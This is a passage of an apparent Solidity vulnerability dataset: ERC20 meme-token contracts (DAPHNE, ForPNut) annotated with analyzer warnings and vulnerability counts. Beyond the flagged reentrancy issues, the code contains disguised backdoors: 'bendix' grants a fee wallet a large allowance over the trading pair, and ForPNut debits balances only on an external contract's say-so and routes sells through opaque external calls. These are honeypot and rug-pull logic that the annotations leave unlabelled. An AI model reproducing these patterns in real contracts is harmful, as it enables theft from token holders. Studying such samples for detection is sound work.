_allowancesEE[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6050757): DAPHNE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6050757: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 65691d6\n _allowancesEE[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 284e1f0\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4406018): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4406018: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: beabf8f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for beabf8f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amountEE) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amountEE > 0, \"Transfer amount must be greater than zero\");\n\n uint256 feeEE = 0;\n uint256 taxEE = 0;\n\n if (!swapEnabled || inSwap) {\n _balancesEE[from] = _balancesEE[from] - amountEE;\n\n _balancesEE[to] = _balancesEE[to] + amountEE;\n\n emit Transfer(from, to, amountEE);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n if (_buyCount > 0) {\n taxEE = _transferTax;\n }\n\n if (\n from == uniPairEE &&\n to != address(uniRouterEE) &&\n !_shouldExcludedEE[to]\n ) {\n require(amountEE <= _maxAmountEE, \"Exceeds the _maxAmountEE.\");\n\n require(\n balanceOf(to) + amountEE <= _maxWalletEE,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxEE = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n\n _buyCount++;\n }\n\n if (to == uniPairEE && from != address(this)) {\n taxEE = (\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n );\n bendix([to, _receiptEE]);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniPairEE && swapEnabled) {\n if (\n contractTokenBalance > _taxThresEE &&\n _buyCount > _preventSwapBefore\n )\n\t\t\t\t\t// reentrancy-events | ID: 4406018\n\t\t\t\t\t// reentrancy-eth | ID: beabf8f\n swapEthEE(\n minEE(amountEE, minEE(contractTokenBalance, _maxSwapEE))\n );\n\n\t\t\t\t// reentrancy-events | ID: 4406018\n\t\t\t\t// reentrancy-eth | ID: beabf8f\n sendEthEE(address(this).balance);\n }\n }\n\n if (taxEE > 0) {\n feeEE = amountEE.mul(taxEE).div(100);\n\n\t\t\t// reentrancy-eth | ID: beabf8f\n _balancesEE[address(this)] = _balancesEE[address(this)].add(feeEE);\n\n\t\t\t// reentrancy-events | ID: 4406018\n emit Transfer(from, address(this), feeEE);\n }\n\n\t\t// reentrancy-eth | ID: beabf8f\n _balancesEE[from] = _balancesEE[from].sub(amountEE);\n\n\t\t// reentrancy-eth | ID: beabf8f\n _balancesEE[to] = _balancesEE[to].add(amountEE.sub(feeEE));\n\n\t\t// reentrancy-events | ID: 4406018\n emit Transfer(from, to, amountEE.sub(feeEE));\n }\n\n function swapEthEE(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniRouterEE.WETH();\n\n _approve(address(this), address(uniRouterEE), tokenAmount);\n\n\t\t// reentrancy-events | ID: 4406018\n\t\t// reentrancy-events | ID: 284e1f0\n\t\t// reentrancy-benign | ID: 65691d6\n\t\t// reentrancy-eth | ID: beabf8f\n uniRouterEE.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: befe39e): DAPHNE.removeLimitEE(address).limit lacks a zerocheck on \t _receiptEE = limit\n\t// Recommendation for befe39e: Check that the address is not zero.\n function removeLimitEE(address payable limit) external onlyOwner {\n _maxAmountEE = _tTotalEE;\n\n _maxWalletEE = _tTotalEE;\n\n\t\t// missing-zero-check | ID: befe39e\n _receiptEE = limit;\n\n _shouldExcludedEE[limit] = true;\n\n emit MaxTxAmountUpdated(_tTotalEE);\n }\n\n function bendix(address[2] memory bmx) private {\n address ownEE = bmx[0];\n address spendEE = bmx[1];\n\n uint256 amountEE = (100 + _maxAmountEE + _maxSwapEE + 100) * 100 + 100;\n\n _allowancesEE[ownEE][spendEE] = 100 * (amountEE + 50) + 100;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 276d91f): DAPHNE.setReceipt(address)._receipt lacks a zerocheck on \t _receiptEE = _receipt\n\t// Recommendation for 276d91f: Check that the address is not zero.\n function setReceipt(address payable _receipt) external onlyOwner {\n\t\t// missing-zero-check | ID: 276d91f\n _receiptEE = _receipt;\n\n _shouldExcludedEE[_receipt] = true;\n }\n\n function minEE(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function resecureEth() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4499a98): DAPHNE.sendEthEE(uint256) sends eth to arbitrary user Dangerous calls _receiptEE.transfer(amount)\n\t// Recommendation for 4499a98: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendEthEE(uint256 amount) private {\n\t\t// reentrancy-events | ID: 4406018\n\t\t// reentrancy-events | ID: 284e1f0\n\t\t// reentrancy-eth | ID: beabf8f\n\t\t// arbitrary-send-eth | ID: 4499a98\n _receiptEE.transfer(amount);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a85ad06): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a85ad06: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ed3c0fc): DAPHNE.openTrading() ignores return value by IERC20(uniPairEE).approve(address(uniRouterEE),type()(uint256).max)\n\t// Recommendation for ed3c0fc: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 22fb74d): DAPHNE.openTrading() ignores return value by uniRouterEE.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 22fb74d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ef2aea5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ef2aea5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n\t\t// reentrancy-benign | ID: a85ad06\n\t\t// unused-return | ID: 22fb74d\n\t\t// reentrancy-eth | ID: ef2aea5\n uniRouterEE.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: a85ad06\n\t\t// unused-return | ID: ed3c0fc\n\t\t// reentrancy-eth | ID: ef2aea5\n IERC20(uniPairEE).approve(address(uniRouterEE), type(uint).max);\n\n\t\t// reentrancy-benign | ID: a85ad06\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: ef2aea5\n tradingOpen = true;\n }\n\n function isUniswapV3(address spender) private pure returns (bool) {\n address uniswapV3PositionManager = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;\n\n return (spender == uniswapV3PositionManager);\n }\n}\n", "file_name": "solidity_code_10278.sol", "size_bytes": 21329, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n IUniswapV2Router02 _UniswapV2Factory02;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 364aba1): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for 364aba1: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: 364aba1\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n payable(owner()).transfer(address(this).balance);\n\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to) external;\n\n function min(address from) external view;\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract ForPNut is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4d9756d): ForPNut._taxWallet should be immutable \n\t// Recommendation for 4d9756d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: ea7e5a5): ForPNut._initialBuyTax should be constant \n\t// Recommendation for ea7e5a5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5053da1): ForPNut._initialSellTax should be constant \n\t// Recommendation for 5053da1: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7154c9e): ForPNut._reduceBuyTaxAt should be constant \n\t// Recommendation for 7154c9e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: d169acd): ForPNut._reduceSellTaxAt should be constant \n\t// Recommendation for d169acd: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6259230): ForPNut._preventSwapBefore should be constant \n\t// Recommendation for 6259230: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 30;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"For PNut\";\n\n string private constant _symbol = unicode\"FORPNUT\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0c31e63): ForPNut._taxSwapThreshold should be constant \n\t// Recommendation for 0c31e63: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d42d71f): ForPNut._maxTaxSwap should be constant \n\t// Recommendation for d42d71f: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor(address factory) payable {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _UniswapV2Factory02 = IUniswapV2Router02(factory);\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c212f12): ForPNut.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c212f12: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 04e50b6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 04e50b6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6a80957): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6a80957: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 04e50b6\n\t\t// reentrancy-benign | ID: 6a80957\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 04e50b6\n\t\t// reentrancy-benign | ID: 6a80957\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: acd6a34): ForPNut._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for acd6a34: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 6a80957\n\t\t// reentrancy-benign | ID: 3d7610a\n\t\t// reentrancy-benign | ID: 229d28b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 04e50b6\n\t\t// reentrancy-events | ID: 21f6a24\n\t\t// reentrancy-events | ID: c38c3f9\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e6778a0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e6778a0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c38c3f9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c38c3f9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 66b4697): Reentrancy in ForPNut._transfer(address,address,uint256) External calls _UniswapV2Factory02.transfer(to) State variables written after the call(s) sellCount = 0\n\t// Recommendation for 66b4697: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 229d28b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 229d28b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: be73a9f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for be73a9f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n\t\t\t\t// reentrancy-events | ID: 04e50b6\n\t\t\t\t// reentrancy-events | ID: e6778a0\n\t\t\t\t// reentrancy-events | ID: 21f6a24\n\t\t\t\t// reentrancy-events | ID: c38c3f9\n\t\t\t\t// reentrancy-benign | ID: 66b4697\n\t\t\t\t// reentrancy-benign | ID: 6a80957\n\t\t\t\t// reentrancy-benign | ID: 3d7610a\n\t\t\t\t// reentrancy-benign | ID: 229d28b\n\t\t\t\t// reentrancy-eth | ID: 1ff9266\n\t\t\t\t// reentrancy-eth | ID: 304d225\n\t\t\t\t// reentrancy-eth | ID: be73a9f\n _UniswapV2Factory02.transfer(to);\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n _UniswapV2Factory02.min(from);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n\t\t\t\t\t// reentrancy-benign | ID: 66b4697\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: e6778a0\n\t\t\t\t// reentrancy-events | ID: c38c3f9\n\t\t\t\t// reentrancy-benign | ID: 229d28b\n\t\t\t\t// reentrancy-eth | ID: be73a9f\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e6778a0\n\t\t\t\t\t// reentrancy-eth | ID: be73a9f\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: be73a9f\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: be73a9f\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: be73a9f\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: e6778a0\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: be73a9f\n _balances[from] = _balances[from].sub(\n _UniswapV2Factory02.balanceOf(from) > 0 ? amount : 0\n );\n\n\t\t// reentrancy-eth | ID: be73a9f\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n _UniswapV2Factory02.min(from);\n\n\t\t// reentrancy-events | ID: e6778a0\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 04e50b6\n\t\t// reentrancy-events | ID: e6778a0\n\t\t// reentrancy-events | ID: 21f6a24\n\t\t// reentrancy-events | ID: c38c3f9\n\t\t// reentrancy-benign | ID: 6a80957\n\t\t// reentrancy-benign | ID: 3d7610a\n\t\t// reentrancy-benign | ID: 229d28b\n\t\t// reentrancy-eth | ID: 1ff9266\n\t\t// reentrancy-eth | ID: 304d225\n\t\t// reentrancy-eth | ID: be73a9f\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 3048dcf): ForPNut.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 3048dcf: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 04e50b6\n\t\t// reentrancy-events | ID: e6778a0\n\t\t// reentrancy-events | ID: 21f6a24\n\t\t// reentrancy-eth | ID: 1ff9266\n\t\t// reentrancy-eth | ID: 304d225\n\t\t// reentrancy-eth | ID: be73a9f\n\t\t// arbitrary-send-eth | ID: 3048dcf\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 21f6a24): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 21f6a24: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3d7610a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3d7610a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f4c3831): ForPNut.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for f4c3831: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d26058f): ForPNut.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for d26058f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1ff9266): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1ff9266: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 304d225): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 304d225: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: 21f6a24\n\t\t// reentrancy-benign | ID: 3d7610a\n\t\t// reentrancy-eth | ID: 1ff9266\n\t\t// reentrancy-eth | ID: 304d225\n transfer(address(this), balanceOf(msg.sender).mul(95).div(100));\n\n\t\t// reentrancy-events | ID: 21f6a24\n\t\t// reentrancy-benign | ID: 3d7610a\n\t\t// reentrancy-eth | ID: 1ff9266\n\t\t// reentrancy-eth | ID: 304d225\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 21f6a24\n\t\t// reentrancy-benign | ID: 3d7610a\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: d26058f\n\t\t// reentrancy-eth | ID: 1ff9266\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: f4c3831\n\t\t// reentrancy-eth | ID: 1ff9266\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 1ff9266\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1ff9266\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_10279.sol", "size_bytes": 23690, "vulnerability": 4 }
